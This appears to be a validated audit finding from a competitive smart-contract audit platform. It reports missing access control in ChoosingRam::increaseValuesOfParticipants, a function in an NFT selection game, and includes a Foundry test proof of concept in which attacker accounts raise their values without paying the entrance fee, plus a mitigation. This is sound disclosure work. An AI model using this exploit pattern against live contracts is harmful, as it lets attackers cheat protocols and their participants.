Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-5] Lack of Access Control in `ChoosingRam::increaseValuesOfParticipants` Allows Free Value Increase

Description:

The ChoosingRam::increaseValuesOfParticipants function lacks proper access control, allowing unauthorized participants to increase their values without paying the entrance fee. This vulnerability can lead to unfair advantages and potential manipulation of the RAM selection process.

Impact:

The lack of access control enables anyone to enter the challenge and increase their value for free. This increases the likelihood of unauthorized participants winning the RAM selection, undermining the fairness and integrity of the protocol.

Proof of Concept:

Execute the following code in Dussehra.t.sol. Ensure to update the variables player3 and player4 to attacker and attacker2 respectively:

function test_anyoneCanIncreaseHisValuesAndBeTheRamWithoutPayEntranceFee() public {
vm.prank(attacker);
ramNFT.mintRamNFT(attacker);
vm.prank(attacker2);
ramNFT.mintRamNFT(attacker2);
vm.startPrank(attacker2);
choosingRam.increaseValuesOfParticipants(1, 1);
choosingRam.increaseValuesOfParticipants(1, 1);
choosingRam.increaseValuesOfParticipants(1, 1);
choosingRam.increaseValuesOfParticipants(1, 1);
choosingRam.increaseValuesOfParticipants(1, 1);
vm.stopPrank();
assertEq(ramNFT.getCharacteristics(1).isJitaKrodhah, true);
console.log("Characteristics of Ram: ", ramNFT.getCharacteristics(1).isJitaKrodhah);
console.log("Characteristics of Ram: ", ramNFT.getCharacteristics(1).isDhyutimaan);
console.log("Characteristics of Ram: ", ramNFT.getCharacteristics(1).isVidvaan);
console.log("Characteristics of Ram: ", ramNFT.getCharacteristics(1).isAatmavan);
console.log("Characteristics of Ram: ", ramNFT.getCharacteristics(1).isSatyavaakyah);
}

output :

forge test --mt test_anyoneCanIncreaseHisValuesAndBeTheRamWithoutPayEntranceFee -vv
Logs:
Characteristics of Ram: true
Characteristics of Ram: true
Characteristics of Ram: true
Characteristics of Ram: true
Characteristics of Ram: true

Recommended Mitigation:

Implement robust access control mechanisms to ensure that only participants who have paid the entrance fee can increase their values. Consider restricting value increases to a specific array of authorized participants, such as address[] public WantToBeLikeRam in Dussehra.sol. This approach will help maintain fairness and prevent unauthorized participants from manipulating the RAM selection process.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRamNFT is public

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.